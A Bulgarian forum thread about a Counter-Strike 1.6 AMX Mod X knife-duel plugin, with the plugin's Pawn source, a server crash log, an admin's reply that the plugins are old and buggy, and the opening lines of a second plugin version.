	his_spawn[id][1] = origin[1]
	his_spawn[id][2] = origin[2]+50.0
	entity_get_vector(id, EV_VEC_angles,his_angle[id])
	switch(side)
	{
		case RED_SIDE:
		{
			his_angle[id][1] = 0.0
			his_angle[id][0] = 0.0
 
		}
		case BLUE_SIDE:
		{
			his_angle[id][1] = 180.0
			his_angle[id][0] = 0.0
		}
	}
	got_spawn[id] = 1
}
 
public stuck_check(Float:origin[3],Float:radius)
{
	new player=-1;
	while((player = find_ent_in_sphere(player,origin,radius)) != 0)
	{
		if(is_user_alive(player))
		{
			if(is_player_stuck(player) && is_in_duel[player] != 2)
			{
				back_to_the_spawn(player)
			}
		}
	}
}
 
stock is_player_stuck(id)
{
	static Float:originF[3]
	pev(id, pev_origin, originF)
 
	engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
 
	if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
		return true;
 
	return false;
}
 
public create_wall(type,alpha,solidity,code,code1,code2,Float:origin[3])
{
	new Float:wall_maxsize[3];
	new Float:wall_minsize[3];
	new Float:rvec[3];
	new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
	pev(ent,pev_v_angle,rvec);
	switch(type)
	{
		case BLUE_SIDE:
		{
			wall_maxsize[0] = 2.0
			wall_minsize[0] = 0.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=180.0
		}
		case RED_SIDE:
		{
			wall_maxsize[0] = -150.0
			wall_minsize[0] = -152.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=180.0
		}
		case LEFT_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = 65.0
			wall_minsize[1] = 63.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=90.0
		}
		case RIGHT_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = -63.0
			wall_minsize[1] = -65.0
			wall_maxsize[2] = 150.0
			rvec[1]=90.0
		}
		case TOP_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = 148.0
			rvec[0]=90.0          
		}
	}
	set_pev(ent,pev_angles,rvec);
 
	set_pev(ent,pev_classname,ARENA_ENT_NAME);
	engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
	entity_set_int(ent, EV_INT_solid, solidity);
	engfunc(EngFunc_SetSize,ent,wall_minsize,wall_maxsize);
	entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
	entity_set_int(ent,EV_INT_iuser1,code)
	entity_set_int(ent,EV_INT_iuser2,code1)
	entity_set_int(ent,EV_INT_iuser3,code2)
	engfunc(EngFunc_SetOrigin,ent,origin);
	set_rendering(ent,kRenderFxGlowShell,0,0,0,kRenderTransAlpha,alpha)
}
 
public get_spawn_origin(id)
{
	pev(id,pev_origin,his_original_spawn[id]);
}
 
stock get_user_hitpoint(id,Float:hOrigin[3])  {
	if(!is_user_alive(id))
		return 0;
 
	new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
	new Float:fTemp[3];
 
	pev(id,pev_origin,fOrigin);
	pev(id,pev_v_angle,fvAngle);
	pev(id,pev_view_ofs,fvOffset);
 
	xs_vec_add(fOrigin,fvOffset,fvOrigin);
 
	engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
 
	xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
	xs_vec_add(fvOrigin,feOrigin,feOrigin);
 
	engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
	global_get(glb_trace_endpos,hOrigin);
 
	return 1;
} 
 
public plugin_precache() 
{
	new size;
	size = sizeof(ARENA_MODELS)
	for(new i; i< size; i++) 
	{
		engfunc(EngFunc_PrecacheModel,ARENA_MODELS[i]);
	}
}
 
 
public round_start_event()
{
	update_cvars()
	// using a variable to store player's names instead of regenerating it all the time...
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			get_user_name(id,his_name[id],charsmax(his_name))
		}
	}
}
 
public Advertise(task)
{
	client_print(0,print_chat, "%s^3%s ^1by ^4%s ^1for ^4%s^1.",CHAT_TAG,P_NAME,P_AUTH,P_REQ)
	set_task(300.0,"Advertise",TASK_AD)
}
 
public Cmd_start(id,hndle)
{
	if(!is_user_alive(id))
		return FMRES_IGNORED
	if(!is_frozen[id])
		return FMRES_IGNORED
	new Buttons = get_uc(hndle,UC_Buttons)
	if(Buttons & IN_ATTACK)
	{
		Buttons &= ~IN_ATTACK
		set_uc( hndle , UC_Buttons , Buttons )
		return FMRES_SUPERCEDE
	}
	if(Buttons & IN_ATTACK2)
	{
		Buttons &= ~IN_ATTACK2
		set_uc( hndle , UC_Buttons , Buttons )
		return FMRES_SUPERCEDE
	}
	return FMRES_IGNORED
}
 
public Player_Take_Damage(victim, inflictor, attacker, Float:damage, damage_bits)
{     
	if(is_user_connected(attacker)) // we make sure the attacker is a player
	{
		if(is_in_duel[victim] == 2 || is_in_duel[attacker] == 2)
		{
			if(his_challenger[victim] != attacker || his_challenger[attacker] != victim)
			{
				// we protect the contenders from getting killed by other people or them killing others?
				return HAM_SUPERCEDE
			}
		}
	}
	return HAM_IGNORED
}
 
public client_putinserver(id)
{
	get_user_name(id,his_name[id],charsmax(his_name))
	reset_values(id)
	move_size[id] = 10.0
	his_offline[id] = 0
	his_previous_team[id] = 0
}
 
public client_disconnected(id)
{
	end_his_duel(id)
}
 
public end_his_duel(id)
{
	if(his_challenger[id])
	{
		client_print(0,print_chat, "^3[^4Arena: %s^3] ^4%s^1's challenger ^4%s^1 has ^3left the game^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
 
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public times_up_duel(id)
{
	client_print(0,print_chat, "^3[^4Arena: %s^3] ^4%s^1 ^1and ^4%s^1 has taken long to ^3finish the battle^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
 
	if(his_challenger[id])
	{
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		user_kill(id,1)
		user_kill(his_challenger[id],1)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public battle_timer(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2)
		{
			his_timer[id]++
			if(his_timer[id] > MAX_TIME)
			{
				times_up_duel(id)
			}
			set_task(1.0,"battle_timer",id)
		}
	}
}
 
public say_hook(id)
{
	static Chat_C[32]
	read_args(Chat_C,charsmax(Chat_C))
	remove_quotes(Chat_C)
	if(equali(Chat_C,DUEL_COMMAND))
	{
		//request a duel
		duel_players_list(id)
	}
	if(equali(Chat_C,TOGGLE_COMMAND))
	{
		//request a duel
		toggle_offline(id)
	}
	if(equali(Chat_C,GIVEUP_COMMAND))
	{
		//leave a duel
		if(is_in_duel[id] == 2)
		{
			give_up_player(id)
		}
		else
		{
			client_print(id,print_chat, "%sYou're not part of any battle.",CHAT_TAG)
		}
	}
	return PLUGIN_CONTINUE
}
 
public toggle_offline(id)
{
	switch(his_offline[id])
	{
		case 0:
		{
			his_offline[id] = 1
			client_print(0,print_chat, "%s^4%s^1 disconnected from the duel list.",CHAT_TAG,his_name[id])
		}
		default:
		{
			his_offline[id] = 0
			client_print(0,print_chat, "%s^4%s^1 connected to the duel list.",CHAT_TAG,his_name[id])
		}
	}
}
 
public give_up_player(id)
{
	if(is_user_connected(his_challenger[id]))
	{
		client_print(0,print_chat, "%s^4%s^3 got scared to face ^4%s^3! :)",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public reward_winner(id)
{
	if(is_user_connected(id))
	{
		// here you can reward the winner with something
		client_print(id,print_chat, "%s^4Congratulations!!!^1, You have ^3won this battle^1!",CHAT_TAG)
		if(SOUNDS_ENABLED)
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[0])
		if(cs_get_user_money(id)+15000 <= 16000)
		{
			cs_set_user_money(id,cs_get_user_money(id)+15000,1)
			//client_print(id, "%s^4You've earned ^3$15000^4!",CHAT_TAG)
		} else cs_set_user_money(id,16000,1)
	}
}
 
public reward_loser(id)
{
	if(is_user_connected(id))
	{
		// here you can reward the winner with something
		user_kill(id,1)
		client_print(id,print_chat, "%sYou've ^3lost this battle^1!",CHAT_TAG)
		if(SOUNDS_ENABLED)
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[1])
		if(cs_get_user_money(id)-15000 >= 0)
		{
			cs_set_user_money(id,cs_get_user_money(id)-15000,1)
			//client_print(id,print_chat, "%s^4You've lost ^3$15000^4!",CHAT_TAG)
		} else cs_set_user_money(id,0,1)
	}
}
 
public duel_players_list(id)
{
	if(!is_user_alive(id))
	{
		client_print(id,print_chat,"%sYou can't challenge anyone when you're ^3dead1.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(his_offline[id])
	{
		client_print(id,print_chat, "%sYou can't challenge people when you're ^3offline^1.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(is_user_connected(his_challenger[id]))
	{
		client_print(id,print_chat, "%s^4%s ^1is still ^4fighting against you^1.",CHAT_TAG,his_name[his_challenger[id]])
		return PLUGIN_HANDLED
	}
	if(is_user_connected(his_asker[id]))
	{
		client_print(id,print_chat, "%sYou can only ^3challenge one person^1 at the time, you've challenged ^4%s^1.",CHAT_TAG,his_name[his_asker[id]])
		return PLUGIN_HANDLED
	}
	if(!available_duelers(id))
	{
		client_print(id,print_chat, "%sThere's ^4nobody^1 you can challenge.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(get_next_arena() == -1)
	{
		client_print(id,print_chat, "%s^4Maximum arenas reached.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	new menu,menuformat[64];
	formatex(menuformat,charsmax(menuformat),"\w[ \rKnifeDuels \w] \dArenas: %d/%d",arenas_count(),total_arenas)
	menu = menu_create( menuformat, "Duel_handler" );
 
	new players[32], pnum, tempid;
 
	new szName[32], szUserId[32],nameu[92],CsTeams:team;
	formatex(nameu,charsmax(nameu), "\yRefresh");
	menu_additem(menu, nameu,"rf_c", 0);
	menu_addblank(menu,0)
	get_players( players, pnum, "c" );
	for ( new e; e<pnum; e++ )
	{
		tempid = players[e]
		team = cs_get_user_team(tempid)
 
		if(tempid != id && team != CS_TEAM_SPECTATOR && team != CS_TEAM_UNASSIGNED)//  && !users_in_same_team(id,tempid))
		{
			get_user_name(tempid, szName, charsmax(szName));
			formatex(szUserId, charsmax(szUserId), "%d", get_user_userid(tempid));
			if(his_offline[tempid])
			{
				formatex(nameu,charsmax(nameu), "\d%s [Offline]", szName);
				menu_additem(menu, nameu, szUserId, 0);
			}
			else
			{
				if(is_in_duel[tempid] == 2)
				{
					formatex(nameu,charsmax(nameu), "\r%s [Duel]", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
				else if(is_in_duel[tempid] == 1)
				{
					formatex(nameu,charsmax(nameu), "\y%s [Pending]", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
				else
				{
					formatex(nameu,charsmax(nameu), "%s", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
			}
		}
	}
 
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Duel_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	if(equali(szData,"rf_c"))
	{
		menu_destroy( menu );
		duel_players_list(id)
		return PLUGIN_CONTINUE
	}
	new userid = str_to_num( szData );
	//spam_hud(id)
	new enem = find_player("k", userid); // flag "k" : find player from userid
	if (is_user_connected(enem))
	{
		if(his_offline[enem])
		{
			client_print(id,print_chat, "%sYou can't challenge offline players.",CHAT_TAG)
		}
		else
		{
			if(!is_in_duel[enem])
			{
				//spam_hud(enem)
				is_in_duel[enem] = 1
				is_in_duel[id] = 1
				his_asker[id] = enem
				his_asker[enem] = id
				ask_player(enem)
				client_print(0,print_chat, "%s^4%s^1 has ^3challenged^1 ^4%s^1 for a ^3duel^1!",CHAT_TAG,his_name[id],his_name[enem])
 
				set_task(10.0,"taken_long",id)
			}
			else
			{
				client_print(id,print_chat, "%s^4%s^1 seems to be busy with another duel..",CHAT_TAG,his_name[enem])
			}
		}
	}
	menu_destroy( menu );
	return PLUGIN_CONTINUE;
}
 
public taken_long(id)
{
	if(is_in_duel[id] == 1)
	{
		client_print(0,print_chat, "%s^4%s ^1has taken ^3too long to respond ^1to ^4%s^1's challenge.",CHAT_TAG,his_name[his_asker[id]],his_name[id])
		reset_values(his_asker[id])
		reset_values(id)
	}
}
 
stock available_duelers(asker)
{
	new num;
	num = 0 // just incase...
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_alive(id))
		{
			if(/*!is_in_duel[id] && */id != asker && !is_user_bot(id))
			{
				num++
			}
		}
	}
	return num
}
 
public ask_player(id)
{
	if(!is_user_alive(id))
	{
		return PLUGIN_HANDLED
	}
	new asker_name[32],menu_title[64];
	get_user_name(his_asker[id],asker_name,charsmax(asker_name))
	formatex(menu_title,charsmax(menu_title),"\rAccept Duel \y%s\r?",asker_name)
	new menu
	menu = menu_create( menu_title, "Ask_handler" );
 
	menu_additem(menu, "Sure!", "user_said_yes", 0);
	menu_additem(menu, "Nope!","user_said_no", 0);
 
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Ask_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
 
	if(equali(szData,"user_said_yes"))
	{
		if(get_next_arena() == -1)
		{
			client_print(his_asker[id],print_chat, "%sMaximum arenas reached.",CHAT_TAG)
			reset_values(his_asker[id])
			reset_values(id)
		}
		else if(is_in_duel[his_asker[id]] == 1)
		{
			manage_battle(id)
			check_teams(id,his_challenger[id])
			begin_the_battle(id,his_challenger[id])
		} else
		{
			client_print(id,print_chat, "%s%s either canceled the duel or chosen someone else to duel.",CHAT_TAG,his_name[his_asker[id]])
			reset_values(his_asker[id])
			reset_values(id)
		}
	}
	else if(equali(szData,"user_said_no"))
	{
		if(is_user_connected(his_asker[id]))
		{
			client_print(0,print_chat, "%s^4%s^3 rejected ^4%s^3's challenge.",CHAT_TAG,his_name[id],his_name[his_asker[id]])
			reset_values(his_asker[id])
			reset_values(id)
		}
 
	}
	menu_destroy( menu );
	return PLUGIN_CONTINUE;
}
 
public Player_Killed(victim, attacker, shouldgib)
{
	if(!is_user_connected(victim))
		return HAM_IGNORED;
	if(is_user_connected(his_challenger[victim]) && !is_user_connected(attacker))
	{
		if(!check_teams(victim,attacker))
			return HAM_IGNORED
	}
	if(!is_user_connected(attacker))
		return HAM_IGNORED
 
	if(attacker == victim)
		return HAM_IGNORED
 
	if(is_in_duel[attacker] != 2 || is_in_duel[victim] != 2)
		return HAM_IGNORED
 
	if(his_challenger[victim] == attacker || his_challenger[attacker] == victim )
	{
		//fake_death(attacker,victim)
		his_wins[attacker]++
		rounds[arena_number[attacker]]++
		static ret;
		ExecuteForward(killed_forward, ret, attacker,victim)
		if(Head_shot[attacker][victim])
		{
			his_HS[attacker]++
			Head_shot[attacker][victim] = false
		}
		user_silentkill(victim)
		if(rounds[arena_number[attacker]] >= MAX_ROUNDS || his_wins[attacker] >= MAX_KILLS)
		{
			if(!get_non_duelers_alive())
			{
				ExecuteHamB(Ham_CS_RoundRespawn, victim)
				Check_Results(attacker,victim)
				return HAM_SUPERCEDE
			}
			else
			{
				ExecuteHamB(Ham_CS_RoundRespawn, victim)
				Check_Results(attacker,victim)
			}
		}
		else 
		{
			wait_for_enemy_loop(attacker)
			//client_print(attacker, "%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[attacker],MAX_KILLS,his_name[victim],his_wins[victim],MAX_KILLS)
			//client_print(victim, "%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[victim],MAX_KILLS,his_name[attacker],his_wins[attacker],MAX_KILLS)
		}
		Set_Entity_Invisible(victim, 1)
		set_task(1.0,"delay_respawn",victim)
		return HAM_SUPERCEDE
	}
	return HAM_IGNORED
}
 
public fake_death(attacker,victim)
{
	message_begin( MSG_ALL, get_user_msgid("DeathMsg"),{0,0,0},0)
	write_byte(attacker)
	write_byte(victim)
	write_byte(0)
	write_string("knife")
	message_end()
}
 
public delay_respawn(id)
{
	if(is_user_connected(id))
	{
		if(!is_user_alive(id))
		{
			ExecuteHamB(Ham_CS_RoundRespawn, id)
		}
		Set_Entity_Invisible(id, 0)
	}
	return PLUGIN_CONTINUE
}
public Check_Results(id,enemy)
{
	reset_teams(id)
	reset_teams(enemy)
	new id_name[64],enemy_name[64];
	get_user_name(id,id_name,charsmax(id_name))
	get_user_name(enemy,enemy_name,charsmax(enemy_name))
	if(his_wins[id] > his_wins[enemy])
	{
		client_print(0,print_chat, "^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
		reward_winner(id)
		reward_loser(enemy)
	}
	else if(his_wins[enemy] > his_wins[id])
	{
		client_print(0,print_chat, "^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],enemy_name,his_wins[enemy],his_HS[enemy],id_name,his_wins[id],his_HS[id])
		reward_winner(enemy)
		reward_loser(id)
	}
	else
	{
		client_print(0,print_chat, "^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1and ^4%s ^1with ^3%d scores (HS:%d) ^1ended in a ^4draw match.",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
		if(SOUNDS_ENABLED)
		{
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[2])
			client_cmd(enemy,"spk ^"%s^"",DUEL_SOUNDS[2])
		}
		if(his_wins[id] == his_wins[enemy])
		{
			user_kill(id,1)
			user_kill(enemy,1)
		}
	}
	//client_print(0, "%s^3Headshots: ^4%s^1:^3%d ^4%s^1:^3%d^1.",CHAT_TAG,id_name,his_HS[id],enemy_name,his_HS[enemy])
	if(arena_number[id] == arena_number[enemy])
		remove_the_arena(arena_number[id] +ARENA_CODE)
	back_to_the_spawn(id)
	back_to_the_spawn(enemy)
	reset_values(enemy)
	reset_values(id)
 
}
 
public back_to_the_spawn(id)
{
	if(is_user_alive(id))
	{
		entity_set_origin(id,his_original_spawn[id])
		Set_Entity_Invisible(id, 0)
		set_user_health(id,map_default_hp)
	}
	set_user_armor(id,0)
	set_user_godmode(id, 0)
}
 
 
 
public manage_battle(id)
{
	is_in_duel[id] = 2
	his_challenger[id] = his_asker[id]
	his_challenger[his_challenger[id]] = id
	is_in_duel[his_challenger[id]] = 2
	his_asker[id] = 0
	his_wins[id] = 0
	his_wins[his_challenger[id]] = 0
	new aren_code = get_next_arena()
	arena_number[id] = aren_code
	arena_number[his_challenger[id]] = aren_code
	rounds[aren_code] = 0
	new CsTeams:teamid,CsTeams:teamenemy;
	teamid = cs_get_user_team(id)
	teamenemy = cs_get_user_team(his_challenger[id])
	if(teamid == CS_TEAM_T)
	{
		his_previous_team[id] = 2
	}
	else if(teamid == CS_TEAM_CT)
	{
		his_previous_team[id] = 1
	}
	else his_previous_team[id] = 0
 
	if(teamenemy == CS_TEAM_T)
	{
		his_previous_team[his_challenger[id]] = 2
	}
	else if(teamenemy == CS_TEAM_CT)
	{
		his_previous_team[his_challenger[id]] = 1
	}
	else his_previous_team[his_challenger[id]] = 0
	start_build(his_challenger[id])
	if(SOUNDS_ENABLED)
	{
		client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[4])
		client_cmd(his_challenger[id],"spk ^"%s^"",DUEL_SOUNDS[4])
	}
	battle_timer(id)
	battle_timer(his_challenger[id])
	hud_displayer(id)
	hud_displayer(his_challenger[id])
	client_print(0,print_chat, "%s^4%s^3 accepted ^4%s^3's challenge!",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
}
 
public begin_the_battle(id,enemy)
{
	start_new_round(id,enemy)
}
 
public start_new_round(id,enemy)
{
	his_timer[id] = 0
	his_timer[enemy] = 0
	is_frozen[id] = 1
	is_frozen[enemy] = 1
	his_countdown[id] = MAX_COUNTDOWN
	his_countdown[enemy] = MAX_COUNTDOWN
	countdown(id)
	countdown(enemy)
}
 
public countdown(id)
{
	if(is_user_connected(id))
	{
		his_countdown[id]--
		if(0 >= his_countdown[id])
		{
			is_frozen[id] = 0
			unfreeze_player(id)
			if(SOUNDS_ENABLED)
				client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[6])
			client_print(id,print_center,"Fight!")
			return PLUGIN_HANDLED
		}
		else
		{
			freeze_player(id)
			if(SOUNDS_ENABLED)
				client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[5])
			client_print(id,print_center,"%d",his_countdown[id])
			if(!is_frozen[id]) // we prevent it from spamming
				is_frozen[id] = 1
		}
		set_task(1.0,"countdown",id)
	}
	return PLUGIN_CONTINUE
}
 
public reset_teams(id)
{
	if(his_previous_team[id] == 1)
	{
		cs_set_user_team(id,CS_TEAM_CT)
	}
	else if(his_previous_team[id] == 2)
	{
		cs_set_user_team(id,CS_TEAM_T)
	}
	return PLUGIN_CONTINUE
}
 
public check_teams(id,enemy)
{
	new CsTeams:teamid,CsTeams:teamenemy;
	teamid = cs_get_user_team(id)
	teamenemy = cs_get_user_team(enemy)
	if(!users_in_same_team(id,enemy) && !is_in_false_team(id) && !is_in_false_team(enemy))
		return PLUGIN_HANDLED
	if(teamid == CS_TEAM_CT && teamenemy == CS_TEAM_CT )
	{
		cs_set_user_team(id,CS_TEAM_T)
	} else if(teamid == CS_TEAM_T && teamenemy == CS_TEAM_T)
	{
		cs_set_user_team(id,CS_TEAM_CT)
	}
	else
	{
		Check_Results(id,enemy)
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED
}
stock is_in_false_team(id)
{
	if(cs_get_user_team(id) == CS_TEAM_SPECTATOR || cs_get_user_team(id) == CS_TEAM_UNASSIGNED)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
stock users_in_same_team(id,enemy)
{
	if(cs_get_user_team(id) == cs_get_user_team(enemy))
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
stock get_next_arena()
{
	next_empty_arena = 0
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(arena_number[id] == next_empty_arena)
			{
				next_empty_arena++
				if(next_empty_arena > total_arenas)
					return -1
			}
		}
	}
	if(next_empty_arena > total_arenas)
	{
		return -1
	}
	return next_empty_arena
}
 
stock reset_values(id)
{
	his_HS[id] = 0
	rounds[arena_number[id]] = 0
	is_in_duel[id] = 0
	his_challenger[id] = 0
	his_asker[id] = 0
	arena_number[id] = 0
	his_wins[id] = 0
	got_spawn[id] = 0
	his_timer[id] = 0
}
 
public freeze_player(id)
{
	set_user_maxspeed(id,1.0)
}
 
public unfreeze_player(id)
{
	set_user_maxspeed(id,250.0)
}
 
 
 
public wait_for_enemy_loop(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2)
		{
			if(is_user_connected(his_challenger[id]))
			{
				if(is_in_duel[his_challenger[id]] == 2)
				{
					if(is_user_alive(his_challenger[id]))
					{
						begin_the_battle(id,his_challenger[id])
						return PLUGIN_HANDLED
					}
					set_task(0.1,"wait_for_enemy_loop",id)
				}
			}
		}
	}
	return PLUGIN_CONTINUE
}
 
public hud_displayer(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2 && is_user_connected(his_challenger[id]))
		{
			new name[64],his_name[64];
			get_user_name(id,name,charsmax(name))
			get_user_name(his_challenger[id],his_name,charsmax(his_name))
			set_dhudmessage(0, 255, 0, -1.0, 0.0, 0, 6.0, 0.1)
			show_dhudmessage(id, "Arena: %s | Rounds: %d/%d ^n%s -- %d/%d (HS:%d)^nVS^n%s -- %d/%d (HS:%d)"
			,arena_names[arena_number[id]]
			,rounds[arena_number[id]]
			,MAX_ROUNDS,name,his_wins[id]
			,MAX_KILLS,his_HS[id]
			,his_name,his_wins[his_challenger[id]]
			,MAX_KILLS,his_HS[his_challenger[id]])
 
			set_task(0.1,"hud_displayer",id)
		}
	}
}
 
stock Set_Entity_Invisible(ent, Invisible = 1)
{
	if(!pev_valid(ent))
		return
	set_pev(ent, pev_effects, Invisible == 0 ? pev(ent, pev_effects) & ~EF_NODRAW : pev(ent, pev_effects) | EF_NODRAW)
}

Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Re: Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 00:56

Благодаря ти знам че е стар но нямам избор имам и дуела също на I-T-N-I който е 100 пъти по добър но не работи правилно на мапа и като се пуснем във дуел ни кара под мапа и се бъгваме
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Re: Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 01:16

  • PANEL > Server marked as offline.
    PANEL > ---------- Detected server process in a crashed state! ----------
    PANEL > Exit code: 130
    PANEL > Out of memory: false
    PANEL > Aborting automatic restart, last crash occurred less than 60 seconds ago.
Eто това е от конзолата на хостинга и не тръгва
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Аватар
zolfeca
Извън линия
Администратор
Администратор
Мнения: 417
Регистриран на: 10 Окт 2016, 23:48
Се отблагодари: 24 пъти
Получена благодарност: 92 пъти

Re: Проблем със къмплиране на плугин

Мнение от zolfeca » 27 Яну 2023, 02:01

Не мога да ти помогна, че ползваш стари и бъгави плъгини.

Аватар
HeatoN
Извън линия
Потребител
Потребител
Мнения: 232
Регистриран на: 04 Фев 2022, 16:16
Местоположение: Elhovo - Las Vegas
Се отблагодари: 35 пъти
Получена благодарност: 2 пъти
Обратна връзка:

Re: Проблем със къмплиране на плугин

Мнение от HeatoN » 27 Яну 2023, 04:49

Тази версия работи както искам но не показва резултата нито във худ нито в чата ще се радвам ако и мернеш 1 око

Код за потвърждение: Избери целия код

#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <fun>
#include <xs>
#include <cstrike>
#include <dhudmessage>


#pragma tabsize 0
#pragma compress 1

#define PLUGIN "Knife Duel"
#define VERSION "1.1"
#define AUTHOR "Raizo/Remake by N.W."


#define CHAT_TAG "^3[^4UltimateDuels^3]^1 " 
#define MAX_PLAYERS 32
#define MOVE_UP 0
#define MOVE_DOWN 1
#define MOVE_RIGHT 2
#define MOVE_LEFT 3
#define MOVE_FRONT 4
#define MOVE_BACK 5

new Entity, maxplayers

new mapid[32], szName[32], map_default_hp, rounds; 

new Float:vOrigin[3], Float:fOrigin[3], Float:his_spawn[33][3], Float:move_size[33], Float:fVelocity[3]; 

new bool:in_Duel[MAX_PLAYERS+1], g_Challenge[MAX_PLAYERS+1], g_Area[MAX_PLAYERS+1] = 0, g_DuelK[MAX_PLAYERS+1] = 0, g_DuelC[MAX_PLAYERS+1] = 0, g_MenuCallback;
new bool:Arena1in = false, bool:Arena2in = false;

new bool:his_offline[MAX_PLAYERS+1]
